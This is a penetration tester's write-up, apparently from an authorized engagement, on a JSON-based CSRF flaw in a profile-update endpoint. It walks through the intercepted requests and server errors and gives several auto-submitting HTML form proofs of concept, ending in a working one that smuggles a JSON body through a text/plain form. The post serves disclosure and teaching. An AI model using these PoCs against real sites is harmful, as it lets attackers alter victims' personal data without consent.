# Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management

During my work with @[cyberarllc](https://cyberar.io/) In a recent penetration testing engagement with a technology company that focuses on AI-driven accessibility solutions,.

> Target is a technology company working to solve challenges of web accessibility through AI. The company has raised $58 million in two rounds of funding

I encountered an interesting CSRF (Cross-Site Request Forgery) vulnerability. The flaw allowed unauthorized changes to sensitive profile settings, including Personally Identifiable Information (PII). The vulnerability was particularly unique due to its exploitation method, leveraging JSON-structured requests and bypassing the content type restrictions.

This write-up dives into the technical challenges, the critical importance of securing PII, and how an often-overlooked CSRF vulnerability in JSON requests can lead to severe consequences.

## **Understanding CSRF: A Quick Primer**

CSRF vulnerabilities occur when an attacker tricks an authenticated user into performing unintended actions on a vulnerable web application without their knowledge. These attacks typically exploit the lack of proper request validation and take advantage of a user’s session with the target system.

In a standard CSRF scenario, the browser automatically includes session cookies and headers with any requests sent to a web application. This means that if the user is logged into their account and unknowingly clicks a malicious link, the attacker can perform unauthorized actions like changing user information, deleting resources, or performing sensitive actions — all without the victim realizing it.

While traditional CSRF attacks often involve form submissions, the vulnerability I found during this engagement took on a different form: JSON-based CSRF.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FGtwIpG8tIdQ4WI28f1q0%2Fimage.png?alt=media&#x26;token=8165a521-d8a6-4068-b812-28ace3159742" alt=""><figcaption></figcaption></figure>

## **The Challenge of JSON-Based CSRF**

Modern applications often rely on JSON (JavaScript Object Notation) to transmit structured data between client and server. While JSON-based requests add flexibility to APIs and modern web services, they can introduce unique security challenges, especially when CSRF protection is overlooked.

The application in question lacked a mechanism to validate JSON requests for CSRF tokens when users modified their profile information. What made this case particularly tricky was the server’s handling of the `Content-Type` header. Instead of the typical `application/json`, the server accepted requests with the `Content-Type` set to `text/plain`, which allowed an attacker to send JSON-structured data through a crafted request.

## Finding the Vulnerability

It all started when I logged in to the **targeted dashboard** at [https://dashboard.target.com](https://dashboard.target.com). I was particularly interested in testing the security of **PII (personally identifiable information)** data in the profile section, knowing how crucial it is for both users and companies to safeguard such information. Immediately, I navigated to [https://dashboard.target.com/app/account](https://dashboard.target.com/app/account) to check for vulnerabilities in the account information update functionality.

Upon attempting to modify the profile information, I intercepted the outgoing request to investigate its structure and behavior. Here's what the request looked like:

```http
POST /trpc/users.updateUserInfo?batch=1 HTTP/2
Host: dashboard.target.com
Cookie: <>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Content-Type: application/json
Origin: https://dashboard.target.com
Referer: https://dashboard.target.com/app/account
Sec-Fetch-Mode: cors
Content-Length: 107
```

**Request Payload**:

```json
{"0":{"accountName":"Cyberar s","name":"asdf ccccc","subscribed":"on","phone":"1099424296","country":"EG"}}
```

## First Layer of Analysis: Cookies and Headers

Since there is no CSRF-Token. The first thing I did was dive into the **cookie flags** using browser developer tools. I found various cookies were set, but the most interesting one was the **session cookie**, which had the `HttpOnly` and `Secure` flags properly set. This meant the cookie couldn't be easily accessed via JavaScript, and it was only transmitted over secure HTTPS connections. However, the **SameSite** flag was set to `None`, a red flag in itself since it could allow cross-site requests depending on how other security measures were implemented.

To test how dependent the request was on these cookies, I sent the request with only the session cookie parameter. Surprisingly, the request was successfully processed, suggesting that the **session cookie** alone was all that was needed for authentication—there were no additional checks involving headers like **Referer** or **Origin**.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FXYa29Iu5M4WR84eOD44t%2Fimage.png?alt=media&#x26;token=c9bda78b-4b54-4a34-9eec-d320ca9e121e" alt=""><figcaption></figcaption></figure>

## The JSON CSRF Vector

At this point, I noticed that the **Content-Type** of the request was set to `application/json`. Typically, JSON-based requests are less susceptible to CSRF because of the **same-origin policy** in most browsers. However, I saw a possible weakness in the `Accept: */*` header, which indicated that the server accepted all types of content formats, not just JSON.

This was where I saw an opportunity: I decided to test if the server would accept requests with a `Content-Type` of `text/plain`. If successful, this would open the door to a **CSRF vulnerability** since plain-text form submissions could be exploited in cross-site request forgery attacks.

## Testing the `text/plain` Hypothesis

I modified the **Content-Type** header in the intercepted request to `text/plain` and sent it again. To my surprise, the server accepted the request and processed it successfully, even though it was supposed to handle JSON.

This confirmed the presence of a potential CSRF vulnerability. Now, the next step was to create a **Proof of Concept (PoC)** using Burp Suite's CSRF PoC generator, but I hit a snag here.

## The Burp Suite PoC and the JSON Structure Problem

The CSRF PoC generated by Burp looked like this:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;test user&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1234567890&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#125;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

However, the request generated by this PoC was formatted incorrectly. The `=` symbol at the end of the JSON payload caused the server to misinterpret the request as a malformed JSON:

```http
POST /trpc/users.updateUserInfo?batch=1 HTTP/2
Host: dashboard.target.com
Content-Type: text/plain
{"0":{"accountName":"hacked","name":"test user","subscribed":"on","phone":"1234567890","country":"EG"}}=
```

The presence of the `=` symbol at the end was unexpected, and the server returned a parsing error:

```json
{"error":{"message":"Unexpected non-whitespace character after JSON at position 116","code":-32700}}
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2F0yPTgUCmrvz0Li1b0OUB%2Fimage.png?alt=media&#x26;token=14abe680-2efd-40ae-ba1c-18f0c06cc86c" alt=""><figcaption></figcaption></figure>

so i tried the known bypass to add another parameter with anything in the value and will treat `=` as normal string but sadly this didn't work

```html
<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;tes&#32;edf&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424297&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#44;&quot;anything&quot;&#58;&quot;" value="&quot;&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

this resulted in error&#x20;

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FKK9mFqVUaiq5ZMRJr9op%2Fimage.png?alt=media&#x26;token=5f48f6fd-1b11-4ae0-ab75-c40030a68c71" alt=""><figcaption></figcaption></figure>

## Fixing the CSRF Exploit

To bypass this issue, I realized the `=` symbol could be "hidden" within a known parameter value instead of being treated as part of a new parameter. I tweaked the PoC code as follows:

```html
<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;Cyberar s&quot;&#44;&quot;name&quot;&#58;&quot;asdf ccccc&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424296&quot;&#44;&quot;country&quot;&#58;&quot;EG" value="&quot;&#125;&#125;&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Unfortunately, the server still rejected the request, returning this error:

```json
{"error":{"message":"Received 'EG=' is an invalid enum value for country.","code":"invalid_enum_value"}}
```

This confirmed that the server strictly validated the `country` field against a set of predefined values and did not accept arbitrary characters like `=`.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2F4BFYMljmWhlHgpTNfI7G%2Fimage.png?alt=media&#x26;token=016d67d7-a268-49be-b4bb-2f4e7b836b4a" alt=""><figcaption></figcaption></figure>

## CSRF PoC and Exploitation Details

We’re not at the finish line yet, but here’s where things get interesting. After realizing that the issue with `=` being treated as part of the JSON structure was causing issues, I decided to embed the payload in the `name` parameter, where the server would treat it as normal text in the user’s name. This subtle approach led to a successful CSRF attack.

The CSRF PoC looked like this:

```html
<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;tes&#32;edf" value="&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424297&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#125;&#125;&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

This PoC sends a request like this:

```json
{"0":{"accountName":"hacked","name":"tes edf=","subscribed":"on","phone":"1099424297","country":"EG"}}
```

As you can see, this worked flawlessly. The account settings could be updated with arbitrary values, effectively allowing an attacker to alter user profile details.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FSdsksuV2KomlUp3jDlzH%2Fimage.png?alt=media&#x26;token=f456b1c3-127f-458c-a3cb-4c9ca8ac0de9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FroL2pKb6SKAhdLWgKIUg%2Fimage.png?alt=media&#x26;token=fd095388-0d56-4910-9fd2-cab284c3c3d1" alt=""><figcaption></figcaption></figure>

However, I attempted to escalate the issue into an account takeover (ATO) by adding the `email` parameter to the request. Despite my efforts, it turned out that the platform doesn’t allow users to change their email address, mitigating the risk of full ATO. Nevertheless, the vulnerability still posed a significant risk, as any data in the user's account settings (except the email) could be manipulated.

## Resources

{% embed url="https://portswigger.net/web-security/csrf" %}

{% embed url="https://www.directdefense.com/csrf-in-the-age-of-json/" %}

{% embed url="https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937" %}
